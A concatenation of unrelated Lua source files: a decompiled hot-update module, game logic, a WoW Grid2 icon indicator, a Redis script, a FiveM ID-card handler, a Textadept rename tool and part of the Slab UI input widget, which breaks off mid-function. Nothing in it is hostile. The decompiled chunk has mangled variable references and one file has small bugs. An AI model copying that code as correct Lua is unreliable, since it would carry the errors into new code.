require(slot0.UpdateListFile) slot0.ALL = false slot0.HUMap = {} for slot4, slot5 in pairs(slot0) do if slot5 == "_ALL_" then slot0.ALL = true for slot9, slot10 in pairs(slot0.FileMap) do for slot14, slot15 in pairs(slot10) do slot0.HUMap[slot15.LuaPath] = slot15.SysPath end end return end if slot0.FileMap[slot5] then for slot9, slot10 in pairs(slot0.FileMap[slot5]) do slot0.HUMap[slot10.LuaPath] = slot10.SysPath end else slot0.FailNotify("HotUpdate can't not find " .. slot5) end end end, ErrorHandle = function (slot0) slot0.FailNotify("HotUpdate Error\n" .. tostring(slot0)) slot0.ErrorHappen = true end, BuildNewCode = function (slot0, slot1) io.input(slot0) slot2 = io.read("*all") if slot0.ALL and slot0.OldCode[slot0] == nil then slot0.OldCode[slot0] = slot2 io.input():close() return end if slot0.OldCode[slot0] == slot2 then io.input():close() return false end io.input():close() io.input(slot0) io.input():close() if not loadstring("--[[" .. slot1 .. "]] " .. slot2) then slot0.FailNotify(slot0 .. " has syntax error.") collectgarbage("collect") return false else slot0.FakeENV = slot0.FakeT() slot0.MetaMap = {} slot0.RequireMap = {} setfenv(slot4, slot0.FakeENV) slot5 = nil slot0.ErrorHappen = false xpcall(function () slot0 = slot1() end, slot0.ErrorHandle) if not slot0.ErrorHappen then slot0.OldCode[slot0] = slot2 return true, slot5 else collectgarbage("collect") return false end end end, Travel_G = function () function slot1(slot0) if (type(slot0) ~= "function" and type(slot0) ~= "table") or slot0[slot0] or slot1.Protection[slot0] then return end slot0[slot0] = true if type(slot0) == "function" then for slot4 = 1, math.huge, 1 do slot5, slot6 = debug.getupvalue(slot0, slot4) if not slot5 then break end if type(slot6) == "function" then for slot10, slot11 in ipairs(slot1.ChangedFuncList) do if slot6 == slot11[1] then debug.setupvalue(slot0, slot4, slot11[2]) end end end slot2(slot6) end elseif type(slot0) == "table" then slot2(debug.getmetatable(slot0)) slot1 = {} for slot5, slot6 in pairs(slot0) do slot2(slot5) slot2(slot6) if type(slot6) == "function" then for slot10, slot11 in ipairs(slot1.ChangedFuncList) do if slot6 == slot11[1] then slot0[slot5] = slot11[2] end end end if type(slot5) == "function" then for slot10, slot11 in ipairs(slot1.ChangedFuncList) do if slot5 == slot11[1] then slot1[#slot1 + 1] = slot10 end end end end for slot5, slot6 in ipairs(slot1) do slot0[slot1.ChangedFuncList[slot6][2]] = slot0[slot1.ChangedFuncList[slot6][1]] slot0[slot1.ChangedFuncList[slot6][1]] = nil end end end slot1(_G) slot2 = debug.getregistry() for slot6, slot7 in ipairs(slot0.ChangedFuncList) do for slot11, slot12 in pairs(slot2) do if slot12 == slot7[1] then slot2[slot11] = slot7[2] end end end for slot6, slot7 in ipairs(slot0.ChangedFuncList) do if slot7[3] == "HUDebug" then slot7[4]:HUDebug() end end end, ReplaceOld = function (slot0, slot1, slot2, slot3, slot4) if type(slot0) == type(slot1) then if type(slot1) == "table" then slot0:UpdateAllFunction(slot1, slot2, slot3, "") elseif type(slot1) == "function" then slot0:UpdateOneFunction(slot1, slot2, nil, slot3, "") end end end, HotUpdateCode = function (slot0, slot1) if package.loaded[slot0] ~= nil then slot0.VisitedSig = {} slot0.ChangedFuncList = {} slot3, slot4 = slot0.BuildNewCode(slot1, slot0) if slot3 then slot0.NotifyFunc("update module " .. slot0) slot0.ReplaceOld(slot2, slot4, slot0, "Main", "") for slot8, slot9 in pairs(slot0.RequireMap) do slot0.ReplaceOld(package.loaded[slot8], slot9, slot8, "Main_require", "") end setmetatable(slot0.FakeENV, nil) slot0.UpdateAllFunction(slot0.ENV, slot0.FakeENV, " ENV ", "Main", "") if #slot0.ChangedFuncList > 0 then slot0.Travel_G() end collectgarbage("collect") end elseif slot0.OldCode[slot1] == nil then io.input(slot1) slot0.OldCode[slot1] = io.read("*all") io.input():close() end end, ResetENV = function (slot0, slot1, slot2, slot3) slot4 = {} function slot5(slot0, slot1) if not slot0 or slot0[slot0] then return end slot0[slot0] = true if type(slot0) == "function" then slot1.DebugNofity(slot2 .. "HU.ResetENV", slot1, " from:" .. slot2 .. "HU.ResetENV") xpcall(function () setfenv(setfenv, slot1.ENV) end, slot1.FailNotify) elseif type(slot0) == "table" then slot1.DebugNofity(slot2 .. "HU.ResetENV", slot1, " from:" .. slot2 .. "HU.ResetENV") for slot5, slot6 in pairs(slot0) do slot4(slot5, tostring(slot5) .. "__key", " HU.ResetENV ", slot2 .. " ") slot4(slot6, tostring(slot5), " HU.ResetENV ", slot2 .. " ") end end end slot5(slot0, slot1) end, UpdateUpvalue = function (slot0, slot1, slot2, slot3, slot4) slot0.DebugNofity(slot4 .. "HU.UpdateUpvalue", slot2, " from:" .. slot3) slot5 = {} slot6 = {} for slot10 = 1, math.huge, 1 do slot11, slot12 = debug.getupvalue(slot0, slot10) if not slot11 then break end slot5[slot11] = slot12 slot6[slot11] = true end for slot10 = 1, math.huge, 1 do slot11, slot12 = debug.getupvalue(slot1, slot10) if not slot11 then break end if slot6[slot11] then if type(slot13) ~= type(slot12) then debug.setupvalue(slot1, slot10, slot13) elseif type(slot13) == "function" then slot0.UpdateOneFunction(slot13, slot12, slot11, nil, "HU.UpdateUpvalue", slot4 .. " ") elseif type(slot13) == "table" then slot0.UpdateAllFunction(slot13, slot12, slot11, "HU.UpdateUpvalue", slot4 .. " ") debug.setupvalue(slot1, slot10, slot13) else debug.setupvalue(slot1, slot10, slot13) end else slot0.ResetENV(slot12, slot11, "HU.UpdateUpvalue", slot4 .. " ") end end end, UpdateOneFunction = function (slot0, slot1, slot2, slot3, slot4, slot5) if slot0.Protection[slot0] or slot0.Protection[slot1] then return end if slot0 == slot1 then return end if slot0.VisitedSig[tostring(slot0) .. tostring(slot1)] then return end slot0.VisitedSig[slot6] = true slot0.DebugNofity(slot5 .. "HU.UpdateOneFunction " .. slot2 .. " from:" .. slot4) if pcall(debug.setfenv, slot1, getfenv(slot0)) then slot0:UpdateUpvalue(slot1, slot2, "HU.UpdateOneFunction", slot5 .. " ") slot0.ChangedFuncList[#slot0.ChangedFuncList + 1] = { slot0, slot1, slot2, slot3 } end end, UpdateAllFunction = function (slot0, slot1, slot2, slot3, slot4) if slot0.Protection[slot0] or slot0.Protection[slot1] then return end if slot0 == slot1 then return end if slot0.VisitedSig[tostring(slot0) .. tostring(slot1)] then return end slot0.VisitedSig[slot5] = true slot0.DebugNofity(slot4 .. "HU.UpdateAllFunction " .. slot2 .. " from:" .. slot3) for slot9, slot10 in pairs(slot1) do if type(slot10) == type(slot0[slot9]) then if type(slot10) == "function" then slot0.UpdateOneFunction(slot11, slot10, slot9, slot0, "HU.UpdateAllFunction", slot4 .. " ") elseif type(slot10) == "table" then slot0.UpdateAllFunction(slot11, slot10, slot9, "HU.UpdateAllFunction", slot4 .. " ") end elseif slot11 == nil and type(slot10) == "function" and pcall(setfenv, slot10, slot0.ENV) then slot0[slot9] = slot10 end end slot7 = slot0.MetaMap[slot1] if type(debug.getmetatable(slot0)) == "table" and type(slot7) == "table" then slot0.UpdateAllFunction(slot6, slot7, slot2 .. "'s Meta", "HU.UpdateAllFunction", slot4 .. " ") end end, Init = function (slot0, slot1, slot2, slot3) slot0.UpdateListFile = slot0 slot0.HUMap = {} slot0.FileMap = {} slot0.NotifyFunc = slot2 slot0.OldCode = {} slot0.ChangedFuncList = {} slot0.VisitedSig = {} slot0.FakeENV = nil slot0.ENV = slot3 or _G slot0.LuaPathToSysPath = {} slot0.InitFileMap(slot1) slot0.FakeT = slot0.InitFakeTable() slot0.InitProtection() slot0.ALL = false end, Update = function () slot0.AddFileFromHUList() for slot3, slot4 in pairs(slot0.HUMap) do slot0.HotUpdateCode(slot3, slot4) end end }
--- -- gameplay_logic.lua local class = require "middleclass" local FSM = require "fsm" local GetNewActionState = require "logic.gameplay.states.get_new_action_state" local OwnerTypes = require "repositories.teams.enums.owner_types" local GameplayLogic = class("GameplayLogic") function GameplayLogic:initialize(data) if not data.navigator then error("GameplayLogic:initialize(): no data.navigator argument!") end if not data.map_repository then error("GameplayLogic:initialize(): no data.map_repository argument!") end if not data.map_settings_repository then error("GameplayLogic:initialize(): no data.map_settings_repository argument!") end if not data.units_repository then error("GameplayLogic:initialize(): no data.units_repository argument!") end if not data.teams_repository then error("GameplayLogic:initialize(): no data.teams_repository argument!") end if not data.scenario_repository then error("GameplayLogic:initialize(): no data.scenario_repository argument!") end if not data.view_context then error("GameplayLogic:initialize(): no data.view_context argument!") end self.navigator = data.navigator self.map_repository = data.map_repository self.map_settings_repository = data.map_settings_repository self.units_repository = data.units_repository self.scenario_repository = data.scenario_repository self.teams_repository = data.teams_repository self.view_context = data.view_context self.fsm = FSM(self) self.states = { get_new_action = GetNewActionState({ teams_repository = self.teams_repository, scenario_repository = self.scenario_repository, map_repository = self.map_repository, units_repository = self.units_repository, logic = self }) } self.team_handler = nil self.view_context:update_map() self.view_context:update_units() end function GameplayLogic:get_full_map_size() local map_x, map_y = self.map_repository:get_size() local tile_size = self.map_settings_repository:get_tile_size() return map_x * tile_size, map_y * tile_size end function GameplayLogic:execute_command(command) command:set_owner(self) command:execute() end function GameplayLogic:is_current_team_owner(owner_type) local team_name = self.scenario_repository:get_current_phase() local team = self.teams_repository:get_team(team_name) return team:get_owner() == owner_type end function GameplayLogic:process_click(x, y) self.fsm:get_current_state():process_click(self, x, y) end function GameplayLogic:update() self.fsm:update() end function GameplayLogic:get_fsm() return self.fsm end function GameplayLogic:get_states() return self.states end function GameplayLogic:get_team_handler() return self.team_handler end function GameplayLogic:set_team_handler(handler) self.team_handler = handler end function GameplayLogic:get_view_context() return self.view_context end return GameplayLogic
-- Aura Icons indicator local Grid2 = Grid2 local min = min local wipe = wipe local pairs = pairs local ipairs = ipairs local format = string.format local function Icon_Create(self, parent) local f = self:CreateFrame("Frame", parent) f.myIndicator = self f.myFrame = parent f.auras = f.auras or {} f.visibleCount = 0 end -- Warning: This is an overrided indicator:Update() NOT the standard indicator:OnUpdate() local function Icon_OnFrameUpdate(f) local unit = f.myFrame.unit if not unit then return end local self = f.myIndicator local max = self.maxIcons local auras = f.auras local showStack = self.showStack local showCool = self.showCooldown local useStatus = self.useStatusColor local i = 1 for _, status in ipairs(self.statuses) do if status:IsActive(unit) then if status.GetIcons then local k, textures, counts, expirations, durations, colors = status:GetIcons(unit,max) for j=1,k do local aura = auras[i] aura.icon:SetTexture(textures[j]) if showStack then local count = counts[j] aura.text:SetText(count>1 and count or "") end if showCool then local expiration, duration = expirations[j], durations[j] aura.cooldown:SetCooldown(expiration - duration, duration) end if useStatus then local c = colors[j] aura:SetBackdropBorderColor(c.r,c.g,c.b, min(c.a,self.borderOpacity) ) end aura:Show() i = i + 1 end max = max - k else local aura = auras[i] aura.icon:SetTexture(status:GetIcon(unit)) aura.icon:SetTexCoord(status:GetTexCoord(unit)) aura.icon:SetVertexColor(status:GetVertexColor(unit)) if showStack then local count = status:GetCount(unit) aura.text:SetText(count>1 and count or "") end if showCool then local expiration, duration = status:GetExpirationTime(unit) or 0, status:GetDuration(unit) or 0 aura.cooldown:SetCooldown(expiration - duration, duration) end if useStatus then local r,g,b,a = status:GetColor(unit) aura:SetBackdropBorderColor(r,g,b, min(a,self.borderOpacity) ) end aura:Show() i = i + 1 max = max - 1 end if max<=0 then break end end end for j=i,f.visibleCount do auras[j]:Hide() end f.visibleCount = i-1 f:SetShown(i>1) end -- Delayed updates local updates = {} local EnableDelayedUpdates = function() CreateFrame("Frame", nil, Grid2LayoutFrame):SetScript("OnUpdate", function() for i=1,#updates do Icon_OnFrameUpdate(updates[i]) end wipe(updates) end) EnableDelayedUpdates = Grid2.Dummy end local function Icon_Update(self, parent) updates[#updates+1] = parent[self.name] end local function Icon_Layout(self, parent) local f = parent[self.name] local x,y = 0,0 local ux,uy = self.ux,self.uy local vx,vy = self.vx,self.vy local size = self.iconTotSize local borderSize = self.borderSize local frameName if not self.dbx.disableOmniCC then local i,j = parent:GetName():match("Grid2LayoutHeader(%d+)UnitButton(%d+)") frameName = format( "Grid2Icons%s%02d%02d", self.name:gsub("%-","") , i, j ) end f:SetParent(parent) f:ClearAllPoints() f:SetPoint(self.anchor, parent.container, self.anchorRel, self.offsetx, self.offsety) f:SetFrameLevel(parent:GetFrameLevel() + self.frameLevel) f:SetSize( self.width, self.height ) local auras = f.auras for i=1,self.maxIcons do local frame = auras[i] if not frame then frame = CreateFrame("Frame", nil, f) frame.icon = frame:CreateTexture(nil, "ARTWORK") frame.text = frame:CreateFontString(nil, "OVERLAY") frame.cooldown = CreateFrame("Cooldown", frameName and frameName..i or nil, frame, "CooldownFrameTemplate") frame.cooldown:SetHideCountdownNumbers(true) auras[i] = frame end frame:SetSize( self.iconSize, self.iconSize ) -- frame container Grid2:SetFrameBackdrop(frame, self.backdrop) if borderSize>0 then local c = self.colorBorder frame:SetBackdropBorderColor(c.r,c.g,c.b,c.a) end frame:ClearAllPoints() frame:SetPoint( self.anchorIcon, f, self.anchorIcon, (x*ux+y*vx)*size, (x*uy+y*vy)*size ) -- stack count text if self.showStack then local text = frame.text text:SetFontObject(GameFontHighlightSmall) text:SetFont(self.font, self.fontSize, self.fontFlags ) local c = self.colorStack text:SetTextColor(c.r, c.g, c.b, c.a) text:ClearAllPoints() text:SetPoint(self.fontPoint, self.fontOffsetX, self.fontOffsetY) text:Show() else frame.text:Hide() end -- cooldown animation if self.showCooldown then frame.cooldown:SetDrawEdge(self.dbx.disableOmniCC~=nil) frame.cooldown.noCooldownCount = self.dbx.disableOmniCC frame.cooldown:SetReverse(self.dbx.reverseCooldown) frame.cooldown:SetAllPoints() frame.cooldown:Show() else frame.cooldown:Hide() end -- icon texture frame.icon:SetPoint("TOPLEFT", frame ,"TOPLEFT", borderSize, -borderSize) frame.icon:SetPoint("BOTTOMRIGHT", frame ,"BOTTOMRIGHT", -borderSize, borderSize) frame.icon:SetTexCoord(0.05, 0.95, 0.05, 0.95) -- frame:Hide() x = x + 1 if x>=self.maxIconsPerRow then x = 0; y = y + 1 end end end local function Icon_Disable(self, parent) local f = parent[self.name] f:Hide() f:SetParent(nil) f:ClearAllPoints() end local pointsX = { TOPLEFT = 1, TOPRIGHT = -1, BOTTOMLEFT = 1, BOTTOMRIGHT = -1 } local pointsY = { TOPLEFT = -1, TOPRIGHT = -1, BOTTOMLEFT = 1, BOTTOMRIGHT = 1 } local function Icon_UpdateDB(self) local dbx = self.dbx local theme = Grid2Frame.db.profile -- location local l = dbx.location self.anchor = l.point self.anchorRel = l.relPoint self.offsetx = l.x self.offsety = l.y self.anchorIcon = (pointsX[self.anchor] and self.anchor) or (self.anchor=="BOTTOM" and "BOTTOMLEFT") or (self.anchor=="RIGHT" and "TOPRIGHT") or "TOPLEFT" -- misc variables self.borderSize = dbx.borderSize or 0 self.orientation = dbx.orientation or "HORIZONTAL" self.frameLevel = dbx.level or 1 self.iconSize = dbx.iconSize or theme.iconSize or 14 self.iconSpacing = dbx.iconSpacing or 1 self.maxIcons = dbx.maxIcons or 3 self.maxIconsPerRow = dbx.maxIconsPerRow or 3 self.iconTotSize = self.iconSize + self.iconSpacing local maxRows = math.floor(self.maxIcons/self.maxIconsPerRow) + (self.maxIcons%self.maxIconsPerRow==0 and 0 or 1) self.uy = 0 self.vx = 0 self.ux = pointsX[self.anchorIcon] self.vy = pointsY[self.anchorIcon] self.width = math.abs(self.ux)*self.iconTotSize*self.maxIconsPerRow self.height = math.abs(self.vy)*self.iconTotSize*maxRows if self.orientation=="VERTICAL" then self.ux, self.vx = self.vx, self.ux self.uy, self.vy = self.vy, self.uy self.width, self.height = self.height,self.width end self.showCooldown = not dbx.disableCooldown self.showStack = not dbx.disableStack self.useStatusColor = dbx.useStatusColor self.borderOpacity = dbx.borderOpacity or 1 self.colorBorder = Grid2:MakeColor(dbx.color1, "WHITE") self.colorStack = Grid2:MakeColor(dbx.colorStack, "WHITE") -- stacks text local jV,jH = dbx.fontJustifyV or 'MIDDLE', dbx.fontJustifyH or 'CENTER' self.fontPoint = (jV=='MIDDLE' and jH) or (jH=='CENTER' and jV) or jV..jH self.fontOffsetX = dbx.fontOffsetX or 0 self.fontOffsetY = dbx.fontOffsetY or 0 self.fontFlags = dbx.fontFlags or "OUTLINE" self.fontSize = dbx.fontSize or 9 self.font = Grid2:MediaFetch("font", dbx.font or theme.font) or STANDARD_TEXT_FONT -- backdrop self.backdrop = self.borderSize>0 and Grid2:GetBackdropTable("Interface\\Addons\\Grid2\\media\\white16x16", self.borderSize) or nil end Grid2.setupFunc["icons"] = function(indicatorKey, dbx) local indicator = Grid2.indicators[indicatorKey] or Grid2.indicatorPrototype:new(indicatorKey) indicator.dbx = dbx indicator.Create = Icon_Create indicator.Layout = Icon_Layout indicator.OnUpdate = Icon_OnUpdate indicator.Disable = Icon_Disable indicator.Update = Icon_Update indicator.UpdateDB = Icon_UpdateDB Icon_UpdateDB(indicator) EnableDelayedUpdates() Grid2:RegisterIndicator(indicator, { "icon", "icons" }) return indicator end
local noOfArgs = KEYS[1] local interSet = redis.call("sinter", unpack(ARGV)) local allString = "" for _,key in ipairs(interSet) do local val = redis.call("HGET", key, "name") allString = val..', '..allString end return allString
RegisterNetEvent("caue-idcard:show", function(pInfo) local src = source local cid = pInfo["ID"] local name = pInfo["Nome"] .. " " .. pInfo["Sobrenome"] local dob = pInfo["Data de Nascimento"] local gender = pInfo["Sexo"] local image = MySQL.scalar.await([[ SELECT image FROM mdt_profiles WHERE cid = ? ]], { cid }) if not image then image = "https://upload.wikimedia.org/wikipedia/commons/thumb/b/bc/Unknown_person.jpg/434px-Unknown_person.jpg" end local coords = GetEntityCoords(GetPlayerPed(src)) local players = exports["caue-infinity"]:GetNerbyPlayers(coords, 5) for i, v in ipairs(players) do TriggerClientEvent("caue-idcard:open", v, name, dob, gender, cid, image) end end)
local nimsuggest = require("textadept-nim.nimsuggest") local _M = {} local function samefile(fname, sname) local fstat = lfs.attributes(fname) local sstat = lfs.attributes(sname) return fstat.size == sstat.size and fstat.change == sstat.change and fstat.access == fstat.access and fstat.permissions == fstat.permissions and fstat.modification == fstat.modification and fstat.dev == fstat.dev end _M.spawn_dialog = function() local position = buffer.current_pos local token_list = nimsuggest.def_and_use(position) local usages = "" for i, v in pairs(token_list) do if i > 5 then usages = usages.."And "..tostring(#token_list-i+1).." more...\n" break end usages = usages..v.file.."("..v.line..", "..v.column..")".. (v.request == "def" and " - Definition" or "").."\n" end if #token_list == 0 then return end local current_word = token_list[1].name local options = { title = "Smart replace", informative_text = "Change name in text field and press OK to replace the name".. " in defenition and all usages of the object across the project.\n".. "Here is some usages:\n"..usages, text = current_word, } local code, result = ui.dialogs.standard_inputbox(options) if code == 1 and current_word ~= result then local external_files = {} for ii = 1, #token_list do local i = #token_list - ii + 1 local v = token_list[i] if samefile(v.file, buffer.filename) then local pos = buffer:find_column(v.line - 1, v.column) local selword = buffer:text_range(pos, pos + #current_word) if selword:lower() == current_word:lower() and current_word:sub(1,1) == selword:sub(1,1) then buffer:delete_range(pos, #current_word) buffer:insert_text(pos, result) end else if external_files[v.file] == nil then external_files[v.file] = {} end if external_files[v.file][v.line] == nil then external_files[v.file][v.line] = {} end table.insert(external_files[v.file][v.line], v.column) end end for f, v in pairs(external_files) do local buffer = "" local lineno = 0 for line in io.lines(f) do lineno = lineno + 1 if v[lineno] ~= nil then for i, column in ipairs(v[lineno]) do local selword = line:sub(column+1, column + #current_word) if selword == current_word then local head = line:sub(1, column) local tail = line:sub(column + #current_word+1) line = head..result..tail end end end buffer = buffer..line..(WIN32 and "\r" or "").."\n" end local file = io.open(f, "w") file.write(buffer) file.close() end end end return _M
--[[ MIT License Copyright (c) 2019 Mitchell Davis <coding.jackalope@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --]] local Cursor = require(SLAB_PATH .. '.Internal.Core.Cursor') local DrawCommands = require(SLAB_PATH .. '.Internal.Core.DrawCommands') local Keyboard = require(SLAB_PATH .. '.Internal.Input.Keyboard') local Mouse = require(SLAB_PATH .. '.Internal.Input.Mouse') local Region = require(SLAB_PATH .. '.Internal.UI.Region') local Stats = require(SLAB_PATH .. '.Internal.Core.Stats') local Style = require(SLAB_PATH .. '.Style') local Text = require(SLAB_PATH .. '.Internal.UI.Text') local Tooltip = require(SLAB_PATH .. '.Internal.UI.Tooltip') local UTF8 = require('utf8') local Window = require(SLAB_PATH .. '.Internal.UI.Window') local Input = {} local Instances = {} local Focused = nil local LastFocused = nil local TextCursorPos = 0 local TextCursorAnchor = -1 local TextCursorAlpha = 0.0 local FadeIn = true local DragSelect = false local FocusToNext = false local LastText = "" local MIN_WIDTH = 150.0 local TEXT_CURSOR_PAD = 3.0 local function GetSelection(Instance) if Instance ~= nil and TextCursorAnchor >= 0 and TextCursorAnchor ~= TextCursorPos then local Min = math.min(TextCursorAnchor, TextCursorPos) + 1 local Max = math.max(TextCursorAnchor, TextCursorPos) return string.sub(Instance.Text, Min, Max) end return "" end local function IsValidDigit(Instance, Ch) if Instance ~= nil then if Instance.NumbersOnly then if string.match(Ch, "%d") ~= nil then return true end if Ch == "." then local Selected = GetSelection(Instance) if Selected ~= nil and string.find(Selected, ".", 1, true) ~= nil then return true end if string.find(Instance.Text, ".", 1, true) == nil then return true end end else return true end end return false end local function IsCommandKeyDown() local LKey, RKey = 'lctrl', 'rctrl' if love.system.getOS() == "OS X" then LKey, RKey = 'lgui', 'rgui' end return Keyboard.IsDown(LKey) or Keyboard.IsDown(RKey) end local function IsHomePressed() local Result = false if love.system.getOS() == "OS X" then Result = IsCommandKeyDown() and Keyboard.IsPressed('left') else Result = Keyboard.IsPressed('home') end return Result end local function IsEndPressed() local Result = false if love.system.getOS() == "OS X" then Result = IsCommandKeyDown() and Keyboard.IsPressed('right') else Result = Keyboard.IsPressed('end') end return Result end local function GetCursorXOffset(Instance) if Instance ~= nil then if TextCursorPos > 0 then local Offset = UTF8.offset(Instance.Text, 0, TextCursorPos) local Sub = string.sub(Instance.Text, 1, Offset) return Style.Font:getWidth(Sub) + TEXT_CURSOR_PAD end end return TEXT_CURSOR_PAD end local function GetNextCursorPos(Instance, Left) local Result = 0 if Instance ~= nil then local NextSpace = Keyboard.IsDown('lalt') or Keyboard.IsDown('ralt') if NextSpace then if Left then Result = 0 local I = 0 while I ~= nil and I + 1 < TextCursorPos do I = string.find(Instance.Text, " ", I + 1, true) if I ~= nil and I < TextCursorPos then Result = I else break end end else local I = string.find(Instance.Text, " ", TextCursorPos + 1, true) if I ~= nil then Result = I else Result = #Instance.Text end end else if Left then Result = TextCursorPos - 1 else Result = TextCursorPos + 1 end end Result = math.max(0, Result) Result = math.min(Result, #Instance.Text) end return Result end local function GetTextCursorPos(Instance, X) local Result = 0 if Instance ~= nil then for I = 1, #Instance.Text, 1 do local Offset = UTF8.offset(Instance.Text, 0, I) local Sub = string.sub(Instance.Text, 1, Offset) local PosX = Style.Font:getWidth(Sub) + TEXT_CURSOR_PAD if PosX > X then break end Result = I end end return Result end local function UpdateTransform(Instance) if Instance ~= nil then local Offset = GetCursorXOffset(Instance) local TX, TY = Region.InverseTransform(Instance.Id, 0.0, 0.0) local W = TX + Instance.W if Offset > W then Region.Translate(Instance.Id, -(Offset - W + TEXT_CURSOR_PAD), 0.0) elseif Offset < TX then Region.Translate(Instance.Id, TX - Offset + TEXT_CURSOR_PAD, 0.0) end end end local function DeleteSelection(Instance) local Result = false if Instance ~= nil and Instance.Text ~= "" then local Start = 0 local Min = 0 local Max = 0 if TextCursorAnchor ~= -1 then Min = math.min(TextCursorAnchor, TextCursorPos) + 1 Max = math.max(TextCursorAnchor, TextCursorPos) + 1 if Min == 1 then Start = #Instance.Text + 1 end Result = true else if TextCursorPos == 0 then return Result end Min = TextCursorPos Max = TextCursorPos + 1 if Min == 1 then Start = #Instance.Text + 1 Max = Min + 1 end Result = true end local OffsetMin = UTF8.offset(Instance.Text, -1, math.max(Min, 1)) local OffsetMax = UTF8.offset(Instance.Text, 1, Max) Instance.Text = string.sub(Instance.Text, Start, OffsetMin) .. string.sub(Instance.Text, OffsetMax) if Result then if TextCursorAnchor ~= -1 then TextCursorPos = math.min(TextCursorAnchor, TextCursorPos) end TextCursorPos = math.max(0, TextCursorPos) TextCursorPos = math.min(TextCursorPos, #Instance.Text + 1) end TextCursorAnchor = -1 end return Result end local function DrawSelection(Instance, X, Y, W, H, Color) if Instance ~= nil and TextCursorAnchor >= 0 and TextCursorAnchor ~= TextCursorPos then local Min = math.min(TextCursorAnchor, TextCursorPos) local Max = math.max(TextCursorAnchor, TextCursorPos) local OffsetMin = UTF8.offset(Instance.Text, 1, math.max(Min, 1)) local OffsetMax = UTF8.offset(Instance.Text, 1, Max) if Min == 0 then OffsetMin = 0 end local SubMin = string.sub(Instance.Text, 1, OffsetMin) local SubMax = string.sub(Instance.Text, 1, OffsetMax) local MinX = Style.Font:getWidth(SubMin) + 3.0 local MaxX = Style.Font:getWidth(SubMax) + 3.0 DrawCommands.Rectangle('fill', X + MinX, Y, MaxX - MinX, H, Color) end end local function DrawCursor(Instance, X, Y, W, H) if Instance ~= nil then local CX = X + GetCursorXOffset(Instance) local CY = Y DrawCommands.Line(CX, CY, CX, CY + H, 1.0, {0.0, 0.0, 0.0, TextCursorAlpha}) end end local function GetInstance(Id) for I, V in ipairs(Instances) do if V.Id == Id then return V end end local Instance = {} Instance.Id = Id Instance.Text = "" Instance.TextChanged = false Instance.NumbersOnly = true table.insert(Instances, Instance) return Instance end function Input.Begin(Id, Options) assert(Id ~= nil, "Please pass a valid Id into Slab.Input.") Stats.Begin('Input') Options = Options == nil and {} or Options Options.Tooltip = Options.Tooltip == nil and "" or Options.Tooltip Options.ReturnOnText = Options.ReturnOnText == nil and true or Options.ReturnOnText Options.Text = Options.Text == nil and nil or Options.Text Options.BgColor = Options.BgColor == nil and Style.InputBgColor or Options.BgColor Options.SelectColor = Options.SelectColor == nil and Style.InputSelectColor or Options.SelectColor Options.SelectOnFocus = Options.SelectOnFocus == nil and true or Options.SelectOnFocus Options.W = Options.W == nil and nil or Options.W Options.H = Options.H == nil and nil or Options.H Options.ReadOnly = Options.ReadOnly == nil and false or Options.ReadOnly Options.Align = Options.Align == nil and 'center' or Options.Align Options.Rounding = Options.Rounding == nil and Style.InputBgRounding or Options.Rounding local Instance = GetInstance(Window.GetId() .. "." .. Id) Instance.NumbersOnly = Options.NumbersOnly local WinItemId = Window.GetItemId(Id) if Focused ~= Instance then Instance.Text = Options.Text == nil and Instance.Text or Options.Text end local X, Y = Cursor.GetPosition() local H = Options.H == nil and Input.GetHeight() or Options.H local W = Options.W == nil and MIN_WIDTH or Options.W local Result = false Instance.W = W local MouseX, MouseY = Window.GetMousePosition() local Hovered = not Window.IsObstructedAtMouse() and X <= MouseX and MouseX <= X + W and Y <= MouseY and MouseY <= Y + H if Hovered then Mouse.SetCursor('ibeam') Tooltip.Begin(Options.Tooltip) Window.SetHotItem(WinItemId) end local CheckFocus = Mouse.IsClicked(1) and not Options.ReadOnly local FocusedThisFrame = false local ClearFocus = false if CheckFocus then if Hovered then FocusedThisFrame = Focused ~= Instance Focused = Instance elseif Instance == Focused then Focused = nil end end if FocusToNext and LastFocused == nil then FocusedThisFrame = true Focused = Instance CheckFocus = true FocusToNext = false TextCursorAnchor = -1 TextCursorPos = 0 end if LastFocused == Instance then LastFocused = nil end if Instance == Focused then local Back = false local ShouldDelete = false local ShouldUpdateTransform = false if IsCommandKeyDown() then if Keyboard.IsPressed('x') or Keyboard.IsPressed('c') then local Selected = GetSelection(Instance) if Selected ~= "" then love.system.setClipboardText(Selected) ShouldDelete = Keyboard.IsPressed('x') end end if Keyboard.IsPressed('v') then local Text = love.system.getClipboardText() Input.Text(Text) TextCursorPos = math.min(TextCursorPos + #Text - 1, #Instance.Text) end end if Keyboard.IsPressed('tab') then LastFocused = Instance FocusToNext = true end if Keyboard.IsPressed('backspace') then ShouldDelete = true end if ShouldDelete then if DeleteSelection(Instance) then Back = true end end local ClearAnchor = false local IsShiftDown = Keyboard.IsDown('lshift') or Keyboard.IsDown('rshift') if Keyboard.IsPressed('lshift') or Keyboard.IsPressed('rshift') then if TextCursorAnchor == -1 then TextCursorAnchor = TextCursorPos end end if IsHomePressed() then TextCursorPos = 0 ShouldUpdateTransform = true end if IsEndPressed() then TextCursorPos = #Instance.Text ShouldUpdateTransform = true end if Keyboard.IsPressed('left') or Back then TextCursorPos = GetNextCursorPos(Instance, true) ShouldUpdateTransform = true end if Keyboard.IsPressed('right') then TextCursorPos = GetNextCursorPos(Instance, false) ShouldUpdateTransform = true end if CheckFocus or DragSelect then if FocusedThisFrame and Options.SelectOnFocus and Instance.Text ~= "" then TextCursorAnchor = 0 TextCursorPos = #Instance.Text else local MouseInputX, MouseInputY = MouseX - X, MouseY - Y local CX, CY = Region.InverseTransform(Instance.Id, MouseInputX, MouseInputY) TextCursorPos = GetTextCursorPos(Instance, CX) if 